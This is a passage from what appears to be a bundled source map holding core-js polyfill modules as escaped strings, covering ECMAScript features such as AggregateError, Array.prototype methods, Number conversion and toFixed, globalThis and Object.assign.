= ArrayBufferViewCore.TYPED_ARRAY_CONSTRUCTOR;\nvar aTypedArrayConstructor = ArrayBufferViewCore.aTypedArrayConstructor;\n\n// a part of `TypedArraySpeciesCreate` abstract operation\n// https://tc39.es/ecma262/#typedarray-species-create\nmodule.exports = function (originalArray) {\n return aTypedArrayConstructor(speciesConstructor(originalArray, originalArray[TYPED_ARRAY_CONSTRUCTOR]));\n};\n","var uncurryThis = require('../internals/function-uncurry-this');\n\nvar id = 0;\nvar postfix = Math.random();\nvar toString = uncurryThis(1.0.toString);\n\nmodule.exports = function (key) {\n return 'Symbol(' + (key === undefined ? '' : key) + ')_' + toString(++id + postfix, 36);\n};\n","/* eslint-disable es/no-symbol -- required for testing */\nvar NATIVE_SYMBOL = require('../internals/native-symbol');\n\nmodule.exports = NATIVE_SYMBOL\n && !Symbol.sham\n && typeof Symbol.iterator == 'symbol';\n","var wellKnownSymbol = require('../internals/well-known-symbol');\n\nexports.f = wellKnownSymbol;\n","var global = require('../internals/global');\nvar shared = require('../internals/shared');\nvar hasOwn = require('../internals/has-own-property');\nvar uid = require('../internals/uid');\nvar NATIVE_SYMBOL = require('../internals/native-symbol');\nvar USE_SYMBOL_AS_UID = require('../internals/use-symbol-as-uid');\n\nvar WellKnownSymbolsStore = shared('wks');\nvar Symbol = global.Symbol;\nvar symbolFor = Symbol && Symbol['for'];\nvar createWellKnownSymbol = USE_SYMBOL_AS_UID ? Symbol : Symbol && Symbol.withoutSetter || uid;\n\nmodule.exports = function (name) {\n if (!hasOwn(WellKnownSymbolsStore, name) || !(NATIVE_SYMBOL || typeof WellKnownSymbolsStore[name] == 'string')) {\n var description = 'Symbol.' + name;\n if (NATIVE_SYMBOL && hasOwn(Symbol, name)) {\n WellKnownSymbolsStore[name] = Symbol[name];\n } else if (USE_SYMBOL_AS_UID && symbolFor) {\n WellKnownSymbolsStore[name] = symbolFor(description);\n } else {\n WellKnownSymbolsStore[name] = createWellKnownSymbol(description);\n }\n } return WellKnownSymbolsStore[name];\n};\n","// a string of all valid unicode whitespaces\nmodule.exports = '\\u0009\\u000A\\u000B\\u000C\\u000D\\u0020\\u00A0\\u1680\\u2000\\u2001\\u2002' +\n '\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u3000\\u2028\\u2029\\uFEFF';\n","'use strict';\nvar $ = require('../internals/export');\nvar global = require('../internals/global');\nvar isPrototypeOf = require('../internals/object-is-prototype-of');\nvar getPrototypeOf = require('../internals/object-get-prototype-of');\nvar setPrototypeOf = require('../internals/object-set-prototype-of');\nvar copyConstructorProperties = require('../internals/copy-constructor-properties');\nvar create = require('../internals/object-create');\nvar createNonEnumerableProperty = require('../internals/create-non-enumerable-property');\nvar createPropertyDescriptor = require('../internals/create-property-descriptor');\nvar clearErrorStack = require('../internals/clear-error-stack');\nvar installErrorCause = require('../internals/install-error-cause');\nvar iterate = require('../internals/iterate');\nvar normalizeStringArgument = require('../internals/normalize-string-argument');\nvar ERROR_STACK_INSTALLABLE = require('../internals/error-stack-installable');\n\nvar Error = global.Error;\nvar push = [].push;\n\nvar $AggregateError = function AggregateError(errors, message /* , options */) {\n var that = isPrototypeOf(AggregateErrorPrototype, this) ? this : create(AggregateErrorPrototype);\n var options = arguments.length > 2 ? arguments[2] : undefined;\n if (setPrototypeOf) {\n that = setPrototypeOf(new Error(undefined), getPrototypeOf(that));\n }\n createNonEnumerableProperty(that, 'message', normalizeStringArgument(message, ''));\n if (ERROR_STACK_INSTALLABLE) createNonEnumerableProperty(that, 'stack', clearErrorStack(that.stack, 1));\n installErrorCause(that, options);\n var errorsArray = [];\n iterate(errors, push, { that: errorsArray });\n createNonEnumerableProperty(that, 'errors', errorsArray);\n return that;\n};\n\nif (setPrototypeOf) setPrototypeOf($AggregateError, Error);\nelse copyConstructorProperties($AggregateError, Error);\n\nvar AggregateErrorPrototype = $AggregateError.prototype = create(Error.prototype, {\n constructor: createPropertyDescriptor(1, $AggregateError),\n message: createPropertyDescriptor(1, ''),\n name: createPropertyDescriptor(1, 'AggregateError')\n});\n\n// `AggregateError` constructor\n// https://tc39.es/ecma262/#sec-aggregate-error-constructor\n$({ global: true }, {\n AggregateError: $AggregateError\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar global = require('../internals/global');\nvar fails = require('../internals/fails');\nvar isArray = require('../internals/is-array');\nvar isObject = require('../internals/is-object');\nvar toObject = require('../internals/to-object');\nvar lengthOfArrayLike = require('../internals/length-of-array-like');\nvar createProperty = require('../internals/create-property');\nvar arraySpeciesCreate = require('../internals/array-species-create');\nvar arrayMethodHasSpeciesSupport = require('../internals/array-method-has-species-support');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\nvar V8_VERSION = require('../internals/engine-v8-version');\n\nvar IS_CONCAT_SPREADABLE = wellKnownSymbol('isConcatSpreadable');\nvar MAX_SAFE_INTEGER = 0x1FFFFFFFFFFFFF;\nvar MAXIMUM_ALLOWED_INDEX_EXCEEDED = 'Maximum allowed index exceeded';\nvar TypeError = global.TypeError;\n\n// We can't use this feature detection in V8 since it causes\n// deoptimization and serious performance degradation\n// https://github.com/zloirock/core-js/issues/679\nvar IS_CONCAT_SPREADABLE_SUPPORT = V8_VERSION >= 51 || !fails(function () {\n var array = [];\n array[IS_CONCAT_SPREADABLE] = false;\n return array.concat()[0] !== array;\n});\n\nvar SPECIES_SUPPORT = arrayMethodHasSpeciesSupport('concat');\n\nvar isConcatSpreadable = function (O) {\n if (!isObject(O)) return false;\n var spreadable = O[IS_CONCAT_SPREADABLE];\n return spreadable !== undefined ? !!spreadable : isArray(O);\n};\n\nvar FORCED = !IS_CONCAT_SPREADABLE_SUPPORT || !SPECIES_SUPPORT;\n\n// `Array.prototype.concat` method\n// https://tc39.es/ecma262/#sec-array.prototype.concat\n// with adding support of @@isConcatSpreadable and @@species\n$({ target: 'Array', proto: true, forced: FORCED }, {\n // eslint-disable-next-line no-unused-vars -- required for `.length`\n concat: function concat(arg) {\n var O = toObject(this);\n var A = arraySpeciesCreate(O, 0);\n var n = 0;\n var i, k, length, len, E;\n for (i = -1, length = arguments.length; i < length; i++) {\n E = i === -1 ? O : arguments[i];\n if (isConcatSpreadable(E)) {\n len = lengthOfArrayLike(E);\n if (n + len > MAX_SAFE_INTEGER) throw TypeError(MAXIMUM_ALLOWED_INDEX_EXCEEDED);\n for (k = 0; k < len; k++, n++) if (k in E) createProperty(A, n, E[k]);\n } else {\n if (n >= MAX_SAFE_INTEGER) throw TypeError(MAXIMUM_ALLOWED_INDEX_EXCEEDED);\n createProperty(A, n++, E);\n }\n }\n A.length = n;\n return A;\n }\n});\n","var $ = require('../internals/export');\nvar copyWithin = require('../internals/array-copy-within');\nvar addToUnscopables = require('../internals/add-to-unscopables');\n\n// `Array.prototype.copyWithin` method\n// https://tc39.es/ecma262/#sec-array.prototype.copywithin\n$({ target: 'Array', proto: true }, {\n copyWithin: copyWithin\n});\n\n// https://tc39.es/ecma262/#sec-array.prototype-@@unscopables\naddToUnscopables('copyWithin');\n","var $ = require('../internals/export');\nvar fill = require('../internals/array-fill');\nvar addToUnscopables = require('../internals/add-to-unscopables');\n\n// `Array.prototype.fill` method\n// https://tc39.es/ecma262/#sec-array.prototype.fill\n$({ target: 'Array', proto: true }, {\n fill: fill\n});\n\n// https://tc39.es/ecma262/#sec-array.prototype-@@unscopables\naddToUnscopables('fill');\n","'use strict';\nvar $ = require('../internals/export');\nvar $filter = require('../internals/array-iteration').filter;\nvar arrayMethodHasSpeciesSupport = require('../internals/array-method-has-species-support');\n\nvar HAS_SPECIES_SUPPORT = arrayMethodHasSpeciesSupport('filter');\n\n// `Array.prototype.filter` method\n// https://tc39.es/ecma262/#sec-array.prototype.filter\n// with adding support of @@species\n$({ target: 'Array', proto: true, forced: !HAS_SPECIES_SUPPORT }, {\n filter: function filter(callbackfn /* , thisArg */) {\n return $filter(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);\n }\n});\n","var $ = require('../internals/export');\nvar from = require('../internals/array-from');\nvar checkCorrectnessOfIteration = require('../internals/check-correctness-of-iteration');\n\nvar INCORRECT_ITERATION = !checkCorrectnessOfIteration(function (iterable) {\n // eslint-disable-next-line es/no-array-from -- required for testing\n Array.from(iterable);\n});\n\n// `Array.from` method\n// https://tc39.es/ecma262/#sec-array.from\n$({ target: 'Array', stat: true, forced: INCORRECT_ITERATION }, {\n from: from\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar $includes = require('../internals/array-includes').includes;\nvar addToUnscopables = require('../internals/add-to-unscopables');\n\n// `Array.prototype.includes` method\n// https://tc39.es/ecma262/#sec-array.prototype.includes\n$({ target: 'Array', proto: true }, {\n includes: function includes(el /* , fromIndex = 0 */) {\n return $includes(this, el, arguments.length > 1 ? arguments[1] : undefined);\n }\n});\n\n// https://tc39.es/ecma262/#sec-array.prototype-@@unscopables\naddToUnscopables('includes');\n","'use strict';\nvar toIndexedObject = require('../internals/to-indexed-object');\nvar addToUnscopables = require('../internals/add-to-unscopables');\nvar Iterators = require('../internals/iterators');\nvar InternalStateModule = require('../internals/internal-state');\nvar defineIterator = require('../internals/define-iterator');\n\nvar ARRAY_ITERATOR = 'Array Iterator';\nvar setInternalState = InternalStateModule.set;\nvar getInternalState = InternalStateModule.getterFor(ARRAY_ITERATOR);\n\n// `Array.prototype.entries` method\n// https://tc39.es/ecma262/#sec-array.prototype.entries\n// `Array.prototype.keys` method\n// https://tc39.es/ecma262/#sec-array.prototype.keys\n// `Array.prototype.values` method\n// https://tc39.es/ecma262/#sec-array.prototype.values\n// `Array.prototype[@@iterator]` method\n// https://tc39.es/ecma262/#sec-array.prototype-@@iterator\n// `CreateArrayIterator` internal method\n// https://tc39.es/ecma262/#sec-createarrayiterator\nmodule.exports = defineIterator(Array, 'Array', function (iterated, kind) {\n setInternalState(this, {\n type: ARRAY_ITERATOR,\n target: toIndexedObject(iterated), // target\n index: 0, // next index\n kind: kind // kind\n });\n// `%ArrayIteratorPrototype%.next` method\n// https://tc39.es/ecma262/#sec-%arrayiteratorprototype%.next\n}, function () {\n var state = getInternalState(this);\n var target = state.target;\n var kind = state.kind;\n var index = state.index++;\n if (!target || index >= target.length) {\n state.target = undefined;\n return { value: undefined, done: true };\n }\n if (kind == 'keys') return { value: index, done: false };\n if (kind == 'values') return { value: target[index], done: false };\n return { value: [index, target[index]], done: false };\n}, 'values');\n\n// argumentsList[@@iterator] is %ArrayProto_values%\n// https://tc39.es/ecma262/#sec-createunmappedargumentsobject\n// https://tc39.es/ecma262/#sec-createmappedargumentsobject\nIterators.Arguments = Iterators.Array;\n\n// https://tc39.es/ecma262/#sec-array.prototype-@@unscopables\naddToUnscopables('keys');\naddToUnscopables('values');\naddToUnscopables('entries');\n","'use strict';\nvar $ = require('../internals/export');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar IndexedObject = require('../internals/indexed-object');\nvar toIndexedObject = require('../internals/to-indexed-object');\nvar arrayMethodIsStrict = require('../internals/array-method-is-strict');\n\nvar un$Join = uncurryThis([].join);\n\nvar ES3_STRINGS = IndexedObject != Object;\nvar STRICT_METHOD = arrayMethodIsStrict('join', ',');\n\n// `Array.prototype.join` method\n// https://tc39.es/ecma262/#sec-array.prototype.join\n$({ target: 'Array', proto: true, forced: ES3_STRINGS || !STRICT_METHOD }, {\n join: function join(separator) {\n return un$Join(toIndexedObject(this), separator === undefined ? ',' : separator);\n }\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar $map = require('../internals/array-iteration').map;\nvar arrayMethodHasSpeciesSupport = require('../internals/array-method-has-species-support');\n\nvar HAS_SPECIES_SUPPORT = arrayMethodHasSpeciesSupport('map');\n\n// `Array.prototype.map` method\n// https://tc39.es/ecma262/#sec-array.prototype.map\n// with adding support of @@species\n$({ target: 'Array', proto: true, forced: !HAS_SPECIES_SUPPORT }, {\n map: function map(callbackfn /* , thisArg */) {\n return $map(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);\n }\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar global = require('../internals/global');\nvar isArray = require('../internals/is-array');\nvar isConstructor = require('../internals/is-constructor');\nvar isObject = require('../internals/is-object');\nvar toAbsoluteIndex = require('../internals/to-absolute-index');\nvar lengthOfArrayLike = require('../internals/length-of-array-like');\nvar toIndexedObject = require('../internals/to-indexed-object');\nvar createProperty = require('../internals/create-property');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\nvar arrayMethodHasSpeciesSupport = require('../internals/array-method-has-species-support');\nvar un$Slice = require('../internals/array-slice');\n\nvar HAS_SPECIES_SUPPORT = arrayMethodHasSpeciesSupport('slice');\n\nvar SPECIES = wellKnownSymbol('species');\nvar Array = global.Array;\nvar max = Math.max;\n\n// `Array.prototype.slice` method\n// https://tc39.es/ecma262/#sec-array.prototype.slice\n// fallback for not array-like ES3 strings and DOM objects\n$({ target: 'Array', proto: true, forced: !HAS_SPECIES_SUPPORT }, {\n slice: function slice(start, end) {\n var O = toIndexedObject(this);\n var length = lengthOfArrayLike(O);\n var k = toAbsoluteIndex(start, length);\n var fin = toAbsoluteIndex(end === undefined ? length : end, length);\n // inline `ArraySpeciesCreate` for usage native `Array#slice` where it's possible\n var Constructor, result, n;\n if (isArray(O)) {\n Constructor = O.constructor;\n // cross-realm fallback\n if (isConstructor(Constructor) && (Constructor === Array || isArray(Constructor.prototype))) {\n Constructor = undefined;\n } else if (isObject(Constructor)) {\n Constructor = Constructor[SPECIES];\n if (Constructor === null) Constructor = undefined;\n }\n if (Constructor === Array || Constructor === undefined) {\n return un$Slice(O, k, fin);\n }\n }\n result = new (Constructor === undefined ? Array : Constructor)(max(fin - k, 0));\n for (n = 0; k < fin; k++, n++) if (k in O) createProperty(result, n, O[k]);\n result.length = n;\n return result;\n }\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar aCallable = require('../internals/a-callable');\nvar toObject = require('../internals/to-object');\nvar lengthOfArrayLike = require('../internals/length-of-array-like');\nvar toString = require('../internals/to-string');\nvar fails = require('../internals/fails');\nvar internalSort = require('../internals/array-sort');\nvar arrayMethodIsStrict = require('../internals/array-method-is-strict');\nvar FF = require('../internals/engine-ff-version');\nvar IE_OR_EDGE = require('../internals/engine-is-ie-or-edge');\nvar V8 = require('../internals/engine-v8-version');\nvar WEBKIT = require('../internals/engine-webkit-version');\n\nvar test = [];\nvar un$Sort = uncurryThis(test.sort);\nvar push = uncurryThis(test.push);\n\n// IE8-\nvar FAILS_ON_UNDEFINED = fails(function () {\n test.sort(undefined);\n});\n// V8 bug\nvar FAILS_ON_NULL = fails(function () {\n test.sort(null);\n});\n// Old WebKit\nvar STRICT_METHOD = arrayMethodIsStrict('sort');\n\nvar STABLE_SORT = !fails(function () {\n // feature detection can be too slow, so check engines versions\n if (V8) return V8 < 70;\n if (FF && FF > 3) return;\n if (IE_OR_EDGE) return true;\n if (WEBKIT) return WEBKIT < 603;\n\n var result = '';\n var code, chr, value, index;\n\n // generate an array with more 512 elements (Chakra and old V8 fails only in this case)\n for (code = 65; code < 76; code++) {\n chr = String.fromCharCode(code);\n\n switch (code) {\n case 66: case 69: case 70: case 72: value = 3; break;\n case 68: case 71: value = 4; break;\n default: value = 2;\n }\n\n for (index = 0; index < 47; index++) {\n test.push({ k: chr + index, v: value });\n }\n }\n\n test.sort(function (a, b) { return b.v - a.v; });\n\n for (index = 0; index < test.length; index++) {\n chr = test[index].k.charAt(0);\n if (result.charAt(result.length - 1) !== chr) result += chr;\n }\n\n return result !== 'DGBEFHACIJK';\n});\n\nvar FORCED = FAILS_ON_UNDEFINED || !FAILS_ON_NULL || !STRICT_METHOD || !STABLE_SORT;\n\nvar getSortCompare = function (comparefn) {\n return function (x, y) {\n if (y === undefined) return -1;\n if (x === undefined) return 1;\n if (comparefn !== undefined) return +comparefn(x, y) || 0;\n return toString(x) > toString(y) ? 1 : -1;\n };\n};\n\n// `Array.prototype.sort` method\n// https://tc39.es/ecma262/#sec-array.prototype.sort\n$({ target: 'Array', proto: true, forced: FORCED }, {\n sort: function sort(comparefn) {\n if (comparefn !== undefined) aCallable(comparefn);\n\n var array = toObject(this);\n\n if (STABLE_SORT) return comparefn === undefined ? un$Sort(array) : un$Sort(array, comparefn);\n\n var items = [];\n var arrayLength = lengthOfArrayLike(array);\n var itemsLength, index;\n\n for (index = 0; index < arrayLength; index++) {\n if (index in array) push(items, array[index]);\n }\n\n internalSort(items, getSortCompare(comparefn));\n\n itemsLength = items.length;\n index = 0;\n\n while (index < itemsLength) array[index] = items[index++];\n while (index < arrayLength) delete array[index++];\n\n return array;\n }\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar global = require('../internals/global');\nvar toAbsoluteIndex = require('../internals/to-absolute-index');\nvar toIntegerOrInfinity = require('../internals/to-integer-or-infinity');\nvar lengthOfArrayLike = require('../internals/length-of-array-like');\nvar toObject = require('../internals/to-object');\nvar arraySpeciesCreate = require('../internals/array-species-create');\nvar createProperty = require('../internals/create-property');\nvar arrayMethodHasSpeciesSupport = require('../internals/array-method-has-species-support');\n\nvar HAS_SPECIES_SUPPORT = arrayMethodHasSpeciesSupport('splice');\n\nvar TypeError = global.TypeError;\nvar max = Math.max;\nvar min = Math.min;\nvar MAX_SAFE_INTEGER = 0x1FFFFFFFFFFFFF;\nvar MAXIMUM_ALLOWED_LENGTH_EXCEEDED = 'Maximum allowed length exceeded';\n\n// `Array.prototype.splice` method\n// https://tc39.es/ecma262/#sec-array.prototype.splice\n// with adding support of @@species\n$({ target: 'Array', proto: true, forced: !HAS_SPECIES_SUPPORT }, {\n splice: function splice(start, deleteCount /* , ...items */) {\n var O = toObject(this);\n var len = lengthOfArrayLike(O);\n var actualStart = toAbsoluteIndex(start, len);\n var argumentsLength = arguments.length;\n var insertCount, actualDeleteCount, A, k, from, to;\n if (argumentsLength === 0) {\n insertCount = actualDeleteCount = 0;\n } else if (argumentsLength === 1) {\n insertCount = 0;\n actualDeleteCount = len - actualStart;\n } else {\n insertCount = argumentsLength - 2;\n actualDeleteCount = min(max(toIntegerOrInfinity(deleteCount), 0), len - actualStart);\n }\n if (len + insertCount - actualDeleteCount > MAX_SAFE_INTEGER) {\n throw TypeError(MAXIMUM_ALLOWED_LENGTH_EXCEEDED);\n }\n A = arraySpeciesCreate(O, actualDeleteCount);\n for (k = 0; k < actualDeleteCount; k++) {\n from = actualStart + k;\n if (from in O) createProperty(A, k, O[from]);\n }\n A.length = actualDeleteCount;\n if (insertCount < actualDeleteCount) {\n for (k = actualStart; k < len - actualDeleteCount; k++) {\n from = k + actualDeleteCount;\n to = k + insertCount;\n if (from in O) O[to] = O[from];\n else delete O[to];\n }\n for (k = len; k > len - actualDeleteCount + insertCount; k--) delete O[k - 1];\n } else if (insertCount > actualDeleteCount) {\n for (k = len - actualDeleteCount; k > actualStart; k--) {\n from = k + actualDeleteCount - 1;\n to = k + insertCount - 1;\n if (from in O) O[to] = O[from];\n else delete O[to];\n }\n }\n for (k = 0; k < insertCount; k++) {\n O[k + actualStart] = arguments[k + 2];\n }\n O.length = len - actualDeleteCount + insertCount;\n return A;\n }\n});\n","var hasOwn = require('../internals/has-own-property');\nvar redefine = require('../internals/redefine');\nvar dateToPrimitive = require('../internals/date-to-primitive');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\n\nvar TO_PRIMITIVE = wellKnownSymbol('toPrimitive');\nvar DatePrototype = Date.prototype;\n\n// `Date.prototype[@@toPrimitive]` method\n// https://tc39.es/ecma262/#sec-date.prototype-@@toprimitive\nif (!hasOwn(DatePrototype, TO_PRIMITIVE)) {\n redefine(DatePrototype, TO_PRIMITIVE, dateToPrimitive);\n}\n","var DESCRIPTORS = require('../internals/descriptors');\nvar FUNCTION_NAME_EXISTS = require('../internals/function-name').EXISTS;\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar defineProperty = require('../internals/object-define-property').f;\n\nvar FunctionPrototype = Function.prototype;\nvar functionToString = uncurryThis(FunctionPrototype.toString);\nvar nameRE = /^\\s*function ([^ (]*)/;\nvar regExpExec = uncurryThis(nameRE.exec);\nvar NAME = 'name';\n\n// Function instances `.name` property\n// https://tc39.es/ecma262/#sec-function-instances-name\nif (DESCRIPTORS && !FUNCTION_NAME_EXISTS) {\n defineProperty(FunctionPrototype, NAME, {\n configurable: true,\n get: function () {\n try {\n return regExpExec(nameRE, functionToString(this))[1];\n } catch (error) {\n return '';\n }\n }\n });\n}\n","var $ = require('../internals/export');\nvar global = require('../internals/global');\n\n// `globalThis` object\n// https://tc39.es/ecma262/#sec-globalthis\n$({ global: true }, {\n globalThis: global\n});\n","'use strict';\nvar collection = require('../internals/collection');\nvar collectionStrong = require('../internals/collection-strong');\n\n// `Map` constructor\n// https://tc39.es/ecma262/#sec-map-objects\ncollection('Map', function (init) {\n return function Map() { return init(this, arguments.length ? arguments[0] : undefined); };\n}, collectionStrong);\n","var $ = require('../internals/export');\n\nvar log = Math.log;\nvar LN2 = Math.LN2;\n\n// `Math.log2` method\n// https://tc39.es/ecma262/#sec-math.log2\n$({ target: 'Math', stat: true }, {\n log2: function log2(x) {\n return log(x) / LN2;\n }\n});\n","'use strict';\nvar DESCRIPTORS = require('../internals/descriptors');\nvar global = require('../internals/global');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar isForced = require('../internals/is-forced');\nvar redefine = require('../internals/redefine');\nvar hasOwn = require('../internals/has-own-property');\nvar inheritIfRequired = require('../internals/inherit-if-required');\nvar isPrototypeOf = require('../internals/object-is-prototype-of');\nvar isSymbol = require('../internals/is-symbol');\nvar toPrimitive = require('../internals/to-primitive');\nvar fails = require('../internals/fails');\nvar getOwnPropertyNames = require('../internals/object-get-own-property-names').f;\nvar getOwnPropertyDescriptor = require('../internals/object-get-own-property-descriptor').f;\nvar defineProperty = require('../internals/object-define-property').f;\nvar thisNumberValue = require('../internals/this-number-value');\nvar trim = require('../internals/string-trim').trim;\n\nvar NUMBER = 'Number';\nvar NativeNumber = global[NUMBER];\nvar NumberPrototype = NativeNumber.prototype;\nvar TypeError = global.TypeError;\nvar arraySlice = uncurryThis(''.slice);\nvar charCodeAt = uncurryThis(''.charCodeAt);\n\n// `ToNumeric` abstract operation\n// https://tc39.es/ecma262/#sec-tonumeric\nvar toNumeric = function (value) {\n var primValue = toPrimitive(value, 'number');\n return typeof primValue == 'bigint' ? primValue : toNumber(primValue);\n};\n\n// `ToNumber` abstract operation\n// https://tc39.es/ecma262/#sec-tonumber\nvar toNumber = function (argument) {\n var it = toPrimitive(argument, 'number');\n var first, third, radix, maxCode, digits, length, index, code;\n if (isSymbol(it)) throw TypeError('Cannot convert a Symbol value to a number');\n if (typeof it == 'string' && it.length > 2) {\n it = trim(it);\n first = charCodeAt(it, 0);\n if (first === 43 || first === 45) {\n third = charCodeAt(it, 2);\n if (third === 88 || third === 120) return NaN; // Number('+0x1') should be NaN, old V8 fix\n } else if (first === 48) {\n switch (charCodeAt(it, 1)) {\n case 66: case 98: radix = 2; maxCode = 49; break; // fast equal of /^0b[01]+$/i\n case 79: case 111: radix = 8; maxCode = 55; break; // fast equal of /^0o[0-7]+$/i\n default: return +it;\n }\n digits = arraySlice(it, 2);\n length = digits.length;\n for (index = 0; index < length; index++) {\n code = charCodeAt(digits, index);\n // parseInt parses a string to a first unavailable symbol\n // but ToNumber should return NaN if a string contains unavailable symbols\n if (code < 48 || code > maxCode) return NaN;\n } return parseInt(digits, radix);\n }\n } return +it;\n};\n\n// `Number` constructor\n// https://tc39.es/ecma262/#sec-number-constructor\nif (isForced(NUMBER, !NativeNumber(' 0o1') || !NativeNumber('0b1') || NativeNumber('+0x1'))) {\n var NumberWrapper = function Number(value) {\n var n = arguments.length < 1 ? 0 : NativeNumber(toNumeric(value));\n var dummy = this;\n // check on 1..constructor(foo) case\n return isPrototypeOf(NumberPrototype, dummy) && fails(function () { thisNumberValue(dummy); })\n ? inheritIfRequired(Object(n), dummy, NumberWrapper) : n;\n };\n for (var keys = DESCRIPTORS ? getOwnPropertyNames(NativeNumber) : (\n // ES3:\n 'MAX_VALUE,MIN_VALUE,NaN,NEGATIVE_INFINITY,POSITIVE_INFINITY,' +\n // ES2015 (in case, if modules with ES2015 Number statics required before):\n 'EPSILON,MAX_SAFE_INTEGER,MIN_SAFE_INTEGER,isFinite,isInteger,isNaN,isSafeInteger,parseFloat,parseInt,' +\n // ESNext\n 'fromString,range'\n ).split(','), j = 0, key; keys.length > j; j++) {\n if (hasOwn(NativeNumber, key = keys[j]) && !hasOwn(NumberWrapper, key)) {\n defineProperty(NumberWrapper, key, getOwnPropertyDescriptor(NativeNumber, key));\n }\n }\n NumberWrapper.prototype = NumberPrototype;\n NumberPrototype.constructor = NumberWrapper;\n redefine(global, NUMBER, NumberWrapper);\n}\n","var $ = require('../internals/export');\n\n// `Number.EPSILON` constant\n// https://tc39.es/ecma262/#sec-number.epsilon\n$({ target: 'Number', stat: true }, {\n EPSILON: Math.pow(2, -52)\n});\n","var $ = require('../internals/export');\nvar numberIsFinite = require('../internals/number-is-finite');\n\n// `Number.isFinite` method\n// https://tc39.es/ecma262/#sec-number.isfinite\n$({ target: 'Number', stat: true }, { isFinite: numberIsFinite });\n","var $ = require('../internals/export');\nvar isIntegralNumber = require('../internals/is-integral-number');\n\n// `Number.isInteger` method\n// https://tc39.es/ecma262/#sec-number.isinteger\n$({ target: 'Number', stat: true }, {\n isInteger: isIntegralNumber\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar global = require('../internals/global');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar toIntegerOrInfinity = require('../internals/to-integer-or-infinity');\nvar thisNumberValue = require('../internals/this-number-value');\nvar $repeat = require('../internals/string-repeat');\nvar fails = require('../internals/fails');\n\nvar RangeError = global.RangeError;\nvar String = global.String;\nvar floor = Math.floor;\nvar repeat = uncurryThis($repeat);\nvar stringSlice = uncurryThis(''.slice);\nvar un$ToFixed = uncurryThis(1.0.toFixed);\n\nvar pow = function (x, n, acc) {\n return n === 0 ? acc : n % 2 === 1 ? pow(x, n - 1, acc * x) : pow(x * x, n / 2, acc);\n};\n\nvar log = function (x) {\n var n = 0;\n var x2 = x;\n while (x2 >= 4096) {\n n += 12;\n x2 /= 4096;\n }\n while (x2 >= 2) {\n n += 1;\n x2 /= 2;\n } return n;\n};\n\nvar multiply = function (data, n, c) {\n var index = -1;\n var c2 = c;\n while (++index < 6) {\n c2 += n * data[index];\n data[index] = c2 % 1e7;\n c2 = floor(c2 / 1e7);\n }\n};\n\nvar divide = function (data, n) {\n var index = 6;\n var c = 0;\n while (--index >= 0) {\n c += data[index];\n data[index] = floor(c / n);\n c = (c % n) * 1e7;\n }\n};\n\nvar dataToString = function (data) {\n var index = 6;\n var s = '';\n while (--index >= 0) {\n if (s !== '' || index === 0 || data[index] !== 0) {\n var t = String(data[index]);\n s = s === '' ? t : s + repeat('0', 7 - t.length) + t;\n }\n } return s;\n};\n\nvar FORCED = fails(function () {\n return un$ToFixed(0.00008, 3) !== '0.000' ||\n un$ToFixed(0.9, 0) !== '1' ||\n un$ToFixed(1.255, 2) !== '1.25' ||\n un$ToFixed(1000000000000000128.0, 0) !== '1000000000000000128';\n}) || !fails(function () {\n // V8 ~ Android 4.3-\n un$ToFixed({});\n});\n\n// `Number.prototype.toFixed` method\n// https://tc39.es/ecma262/#sec-number.prototype.tofixed\n$({ target: 'Number', proto: true, forced: FORCED }, {\n toFixed: function toFixed(fractionDigits) {\n var number = thisNumberValue(this);\n var fractDigits = toIntegerOrInfinity(fractionDigits);\n var data = [0, 0, 0, 0, 0, 0];\n var sign = '';\n var result = '0';\n var e, z, j, k;\n\n if (fractDigits < 0 || fractDigits > 20) throw RangeError('Incorrect fraction digits');\n // eslint-disable-next-line no-self-compare -- NaN check\n if (number != number) return 'NaN';\n if (number <= -1e21 || number >= 1e21) return String(number);\n if (number < 0) {\n sign = '-';\n number = -number;\n }\n if (number > 1e-21) {\n e = log(number * pow(2, 69, 1)) - 69;\n z = e < 0 ? number * pow(2, -e, 1) : number / pow(2, e, 1);\n z *= 0x10000000000000;\n e = 52 - e;\n if (e > 0) {\n multiply(data, 0, z);\n j = fractDigits;\n while (j >= 7) {\n multiply(data, 1e7, 0);\n j -= 7;\n }\n multiply(data, pow(10, j, 1), 0);\n j = e - 1;\n while (j >= 23) {\n divide(data, 1 << 23);\n j -= 23;\n }\n divide(data, 1 << j);\n multiply(data, 1, 1);\n divide(data, 2);\n result = dataToString(data);\n } else {\n multiply(data, 0, z);\n multiply(data, 1 << -e, 0);\n result = dataToString(data) + repeat('0', fractDigits);\n }\n }\n if (fractDigits > 0) {\n k = result.length;\n result = sign + (k <= fractDigits\n ? '0.' + repeat('0', fractDigits - k) + result\n : stringSlice(result, 0, k - fractDigits) + '.' + stringSlice(result, k - fractDigits));\n } else {\n result = sign + result;\n } return result;\n }\n});\n","var $ = require('../internals/export');\nvar assign = require('../internals/object-assign');\n\n// `Object.assign` method\n// https://tc39.es/ecma262/#sec-object.assign\n// eslint-disable-next-line es/no-object-assign -- required for testing\n$({ target: 'Object', stat: true, forced: Object.assign !== assign }, {\n assign: assign\n});\n","var $ = require('../internals/export');\nvar FREEZING = require('../internals/freezing');\nvar fails = require('../internals/fails');\nvar isObject = require('../internals/is-object');\nvar onFreeze = require('../internals/internal-metadata').onFreeze;\n\n// eslint-disable-next-line es/no-object-freeze -- safe\nvar $freeze = Object.freeze;\nvar FAILS_ON_PRIMITIVES = fails(function () { $freeze(1); });\n\n// `Object.freeze` method\n// https://tc39.es/ecma262/#sec-object.freeze\n$({ target: 'Object', stat: true, forced: FAILS_ON_PRIMITIVES, sham: !FREEZING }, {\n 